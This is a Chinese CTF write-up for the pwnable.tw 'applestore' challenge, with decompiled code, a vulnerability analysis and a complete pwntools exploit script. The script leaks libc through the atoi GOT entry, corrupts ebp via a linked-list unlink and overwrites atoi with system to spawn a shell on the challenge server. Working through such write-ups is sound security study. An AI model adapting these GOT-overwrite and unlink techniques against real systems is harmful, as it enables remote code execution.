CTF-PWN

Pwnable.tw applestore

2019-04-10  本文已影响2人  Nevv

applestore

首先看下安全机制,没有开启pie,可能要使用到程序中的某个地址:

[*] '/home/nevv/Desktop/applestore.dms'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

​ 大概运行了程序后,是个类似购物车的功能,有增、删、查看的功能。

add

unsigned int add()
{
  char **v1; // [esp+1Ch] [ebp-2Ch]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Device Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);
  switch ( atoi(&nptr) )
  {
    case 1:
      v1 = create((int)"iPhone 6", (char *)0xC7);
      insert((int)v1);
      goto LABEL_8;
    case 2:
      v1 = create((int)"iPhone 6 Plus", (char *)0x12B);
      insert((int)v1);
      goto LABEL_8;
    case 3:
      v1 = create((int)"iPad Air 2", (char *)0x1F3);
      insert((int)v1);
      goto LABEL_8;
    case 4:
      v1 = create((int)"iPad Mini 3", (char *)0x18F);
      insert((int)v1);
      goto LABEL_8;
    case 5:
      v1 = create((int)"iPod Touch", (char *)0xC7);
      insert((int)v1);
LABEL_8:
      printf("You've put *%s* in your shopping cart.\n", *v1);
      puts("Brilliant! That's an amazing idea.");
      break;
    default:
      puts("Stop doing that. Idiot!");
      break;
  }
  return __readgsdword(0x14u) ^ v3;
}

​ 然后具体看下 create 和 insert 函数:

create & insert

char **__cdecl create(int a1, char *a2)
{
  char **v2; // eax
  char **v3; // ST1C_4

  v2 = (char **)malloc(16u);
  v3 = v2;
  v2[1] = a2;
  asprintf(v2, "%s", a1);
  v3[2] = 0;
  v3[3] = 0;
  return v3;
}

int __cdecl insert(int a1)
{
  int result; // eax
  _DWORD *i; // [esp+Ch] [ebp-4h]

  for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
    ;
  i[2] = a1;
  result = a1;
  *(_DWORD *)(a1 + 12) = i;
  return result;
}

​ 可以看出购物车是一个链表结构:

.bss:0804B064 completed_6590  db ?                    ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804B064                                         ; __do_global_dtors_aux+14↑w
.bss:0804B065                 align 4
.bss:0804B068                 public myCart
.bss:0804B068 myCart          db    ? ;               ; DATA XREF: insert+6↑o
.bss:0804B068                                         ; main+39↑o
.bss:0804B069                 db    ? ;
.bss:0804B06A                 db    ? ;
.bss:0804B06B                 db    ? ;
.bss:0804B06C                 db    ? ;
.bss:0804B06D                 db    ? ;
.bss:0804B06E                 db    ? ;
.bss:0804B06F                 db    ? ;
.bss:0804B070 dword_804B070   dd ?                    ; DATA XREF: delete+18↑r
.bss:0804B070                                         ; cart+61↑r
.bss:0804B074                 align 8
.bss:0804B074 _bss            ends
.bss:0804B074

delete

unsigned int delete()
{
  signed int v1; // [esp+10h] [ebp-38h]
  _DWORD *v2; // [esp+14h] [ebp-34h]
  int user_input; // [esp+18h] [ebp-30h]
  int v4; // [esp+1Ch] [ebp-2Ch]
  int v5; // [esp+20h] [ebp-28h]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v7; // [esp+3Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  v1 = 1;
  v2 = (_DWORD *)dword_804B070;
  printf("Item Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);
  user_input = atoi(&nptr);
  while ( v2 ) 
  {
    if ( v1 == user_input )
    {
      v4 = v2[2]; // next_thing
      v5 = v2[3]; // prev_thing
      if ( v5 )
        *(_DWORD *)(v5 + 8) = v4; 
      if ( v4 )
        *(_DWORD *)(v4 + 12) = v5;
      printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
      return __readgsdword(0x14u) ^ v7;
    }
    ++v1;
    v2 = (_DWORD *)v2[2];
  }
  return __readgsdword(0x14u) ^ v7;
}

cart

​ dword_804B070 存储的是购物车的位置,索引0存储的是商品名字,索引1存储的是价格,23是前一个和后一个商品。

int cart()
{
  signed int v0; // eax
  signed int v2; // [esp+18h] [ebp-30h]
  int v3; // [esp+1Ch] [ebp-2Ch]
  _DWORD *i; // [esp+20h] [ebp-28h]
  char buf; // [esp+26h] [ebp-22h]
  unsigned int v6; // [esp+3Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  v2 = 1;
  v3 = 0;
  printf("Let me check your cart. ok? (y/n) > ");
  fflush(stdout);
  my_read(&buf, 0x15u);
  if ( buf == 'y' )
  {
    puts("==== Cart ====");
    for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
    {
      v0 = v2++;
      printf("%d: %s - $%d\n", v0, *i, i[1]);
      v3 += i[1];
    }
  }
  return v3;
}

​ 返回值是打印的商品价格总和

checkout

​ 如果商品价格是7174个的话,会添加进去一个 iPhone8

unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  char *v2; // [esp+18h] [ebp-20h]
  int v3; // [esp+1Ch] [ebp-1Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = cart();
  if ( v1 == 7174 )
  {
    puts("*: iPhone 8 - $1");
    asprintf(&v2, "%s", "iPhone 8");
    v3 = 1;
    insert((int)&v2);
    v1 = 7175;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v4;
}

分析

struct mycart{
    0-4 name
    4-8 price
    8-12 next_thing
    12-16 prev_thing
}
      v4 = v2[2]; // prev_thing
      v5 = v2[3]; // next_thing
      if ( v5 )
        *(_DWORD *)(v5 + 8) = v4; 
      if ( v4 )
        *(_DWORD *)(v4 + 12) = v5;
char *__cdecl my_read(void *buf, size_t nbytes)
{
  char *result; // eax
  ssize_t v3; // [esp+1Ch] [ebp-Ch]

  v3 = read(0, buf, nbytes);
  if ( v3 == -1 )
    return (char *)puts("Input Error.");
  result = (char *)buf + v3;
  *((_BYTE *)buf + v3) = 0;
  return result;
}
利用点

1.这里使用的是read函数来接收输入,read函数遇到/x00是不会终止的,且atoi是以/x00作为分割符,在添加iphone8的时候,会直接把一个栈上的地址链接入链表:

unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  char *v2; // [esp+18h] [ebp-20h]   位置是 ebp-20h
  int v3; // [esp+1Ch] [ebp-1Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = cart();
  if ( v1 == 7174 )
  {
    puts("*: iPhone 8 - $1");
    asprintf(&v2, "%s", "iPhone 8");
    v3 = 1;
    insert((int)&v2);
    v1 = 7175;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v4;
}
  1. 而在进入其他函数的时候,我们正好能控制对应的区域:
int cart()
{
  signed int v0; // eax
  signed int v2; // [esp+18h] [ebp-30h]
  int v3; // [esp+1Ch] [ebp-2Ch]
  _DWORD *i; // [esp+20h] [ebp-28h]
  char buf; // [esp+26h] [ebp-22h]   // 我们能够通过my_read函数控制的区域
  unsigned int v6; // [esp+3Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  v2 = 1;
  v3 = 0;
  printf("Let me check your cart. ok? (y/n) > ");
  fflush(stdout);
  my_read(&buf, 0x15u);
  if ( buf == 'y' )
  {
    puts("==== Cart ====");
    for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
    {
      v0 = v2++;
      printf("%d: %s - $%d\n", v0, *i, i[1]);
      v3 += i[1];
    }
  }
  return v3;
}
  1. 在有就是在调用cart函数的时候,我们能够控制的区域正好和添加iphone8的时候栈空间重合。

综上:

泄漏libc基地址

劫持程序控制流

因此我们考虑劫持程序的ebp,在delete函数unlink后,改写其ebp的值,使其变为 atoi_got_addr + 0x22,这样的话由于程序 atoi_got_addr + 0x22 + 0xc是可写入的,因此能够绕过安全检查。同时在退出delete函数的时候,由于buf位置是从 ebp-0x22起始的,也就是atoi_got_addr,直接将其改写为system函数的地址同时使用截断传入/bin/sh字符串即可。

exp

from pwn import *

def insert(n):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("> ")
    p.sendline(n)
    p.recvuntil("amazing idea.\n")
def delete(n):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("> ")
    p.sendline(n)
def checkout():
    p.recvuntil("> ")
    p.sendline("5")
    p.recvuntil("> ")
    p.sendline("y")
    p.recvuntil("Maybe next time!\n")
def cart(n):
    p.recvuntil("> ")
    p.sendline("4")
    p.recvuntil("> ")
    p.sendline("y\x00" + p32(n) + p32(0)*3)
    p.recvuntil("27: ")

p = remote("139.162.123.119",10104)
elf=ELF("./applestore")
elib = ELF("./libc_32.so.6")
atoi_got_addr = elf.got["atoi"]

for i in range(6):
    insert("1")
for i in range(20):
    insert("2")
    
checkout()
cart(atoi_got_addr)
atoi_addr = u32(p.recvuntil("\n")[:4])
environ_bss = atoi_addr - elib.symbols['atoi'] + elib.symbols['environ']
cart(environ_bss)
environ_addr = u32(p.recvuntil("\n")[:4])
system_addr = atoi_addr - elib.symbols['atoi'] + elib.symbols['system']

ebp_addr = environ_addr - 0x104 # 调试得到的old ebp address of handle 
ebp_new_addr = ebp_addr - 0x8 # for unlink

p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline("27" + p32(0) * 2 + p32(atoi_got_addr + 0x22) + p32(ebp_new_addr))
p.recvuntil("> ")
p.sendline(p32(system_addr)+";/bin/sh\x00") # getshell
p.interactive()

参考链接

上一篇下一篇

猜你喜欢

热点阅读